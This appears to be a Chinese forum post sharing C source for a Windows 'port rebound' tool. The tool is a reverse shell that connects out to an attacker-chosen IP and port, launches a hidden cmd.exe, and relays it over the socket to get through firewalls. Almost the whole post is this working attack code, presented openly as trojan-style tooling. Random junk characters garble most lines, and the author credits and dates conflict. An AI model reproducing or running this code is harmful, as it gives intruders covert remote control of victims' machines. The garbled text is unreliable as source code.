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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .hh 2II  
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/* ============================== .F'fBT` $  
Rebound port in Windows NT (n{sp  
By wind,2006/7 <&'Ye[k  
===============================*/ QC:/xP  
#include \Yv<Tz J9  
#include W68d"J%>_  
1k@k2rE  
#pragma comment(lib,"wsock32.lib") =2%EIZ0oW  
#k%3Ag  
void OutputShell(); )2Gp3oD?  
SOCKET sClient; {},rbQ -  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zdA:K25"  
c`UJI$Q/  
void main(int argc,char **argv) 1XZ|}Xz  
{ ,j~ R ^j  
WSADATA stWsaData; b@ J&jE~d  
int nRet; tMaJ; 4  
SOCKADDR_IN stSaiClient,stSaiServer; 02]9 OnWw  
H~~I6D{8  
if(argc != 3) *"E?n>b  
{ UV>^[/^O  
printf("Useage:\n\rRebound DestIP DestPort\n"); #&\hgsw/T  
return; 5G8`zy  
} Z-m,~Hh  
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WSAStartup(MAKEWORD(2,2),&stWsaData); fTi,S)F'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HF-Msu6  
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stSaiClient.sin_family = AF_INET; 3Lwl~h!  
stSaiClient.sin_port = htons(0); K[LTw_oE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pk'@!|g%=  
w $7J)ngA9  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~Z5?\a2Ld  
{ OT7F#:2`  
printf("Bind Socket Failed!\n"); .kM74X=S  
return; Hk-)fl#dr  
} (^g?/i1@d  
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stSaiServer.sin_family = AF_INET; 9E _C u2B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pj,.RcH@o  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r;w_B%9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >vg!<%]W]  
{ 9/w'4bd  
printf("Connect Error!");  l;>#O  
return; {+[~;ISL  
} %+$P<Rw7  
OutputShell(); xmtbSRgK9  
} iUh_rX9A"  
96F:%|yG  
void OutputShell() S=lA^#'UdX  
{ xM%E;  
char szBuff[1024]; {Ny\9r  
SECURITY_ATTRIBUTES stSecurityAttributes; G#'3bxI{f+  
OSVERSIONINFO stOsversionInfo; sZ-]yr\E"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6<H[1PI`,G  
STARTUPINFO stStartupInfo; ua:.97~Ym  
char *szShell; sTqy-^e7  
PROCESS_INFORMATION stProcessInformation; UQ>GAzh  
unsigned long lBytesRead; $X5~9s1Wl  
9Q :IgY?T  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t; n6Q0  
\E.t=XBn  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e%G- +6  
stSecurityAttributes.lpSecurityDescriptor = 0; ~0?p @8  
stSecurityAttributes.bInheritHandle = TRUE; S$]:3  
L4sN)EI  
h_]3L/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9G_=)8sOV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1L'[DKb'  
?w# >Cs(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I(Nsm3L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lGPC)Hu{`  
stStartupInfo.wShowWindow = SW_HIDE; {R8Q`2R  
stStartupInfo.hStdInput = hReadPipe; Wnl8XHPn  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aEdF Z  
<Xy8}Z`s  
GetVersionEx(&stOsversionInfo); oAWk<B(@  
N(&FATZUW  
switch(stOsversionInfo.dwPlatformId) Yx&cnDx  
{ J+\F)k>r  
case 1: ,@='.Qs4g  
szShell = "command.com"; 8<P$E!  
break; 2xe_Q70II  
default: kVU|k-?2  
szShell = "cmd.exe"; OJ UM Y<5  
break; =&"Vf!7YR7  
} zx-+u7qKH  
:G^`LyOM  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ENC_#- 1x  
=(v!pEF  
send(sClient,szMsg,77,0); SX^fh.  
while(1) 94APjqV6'  
{ g) v"nNS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n{BC m %  
if(lBytesRead) LEhku4U.  
{ PR|Trnd&D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yN3Tk}{V  
send(sClient,szBuff,lBytesRead,0); lha )'   
} Ef,@}S  
else '0 ( Bb  
{ _$ixE~w-!  
lBytesRead=recv(sClient,szBuff,1024,0); *, *"G?  
if(lBytesRead<=0) break; FZ=6x}QZ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g#[9O'H  
} `8FC&%X_  
} />ob*sk/Y  
.?I!/;=[  
return; iZMsN*9[  
}
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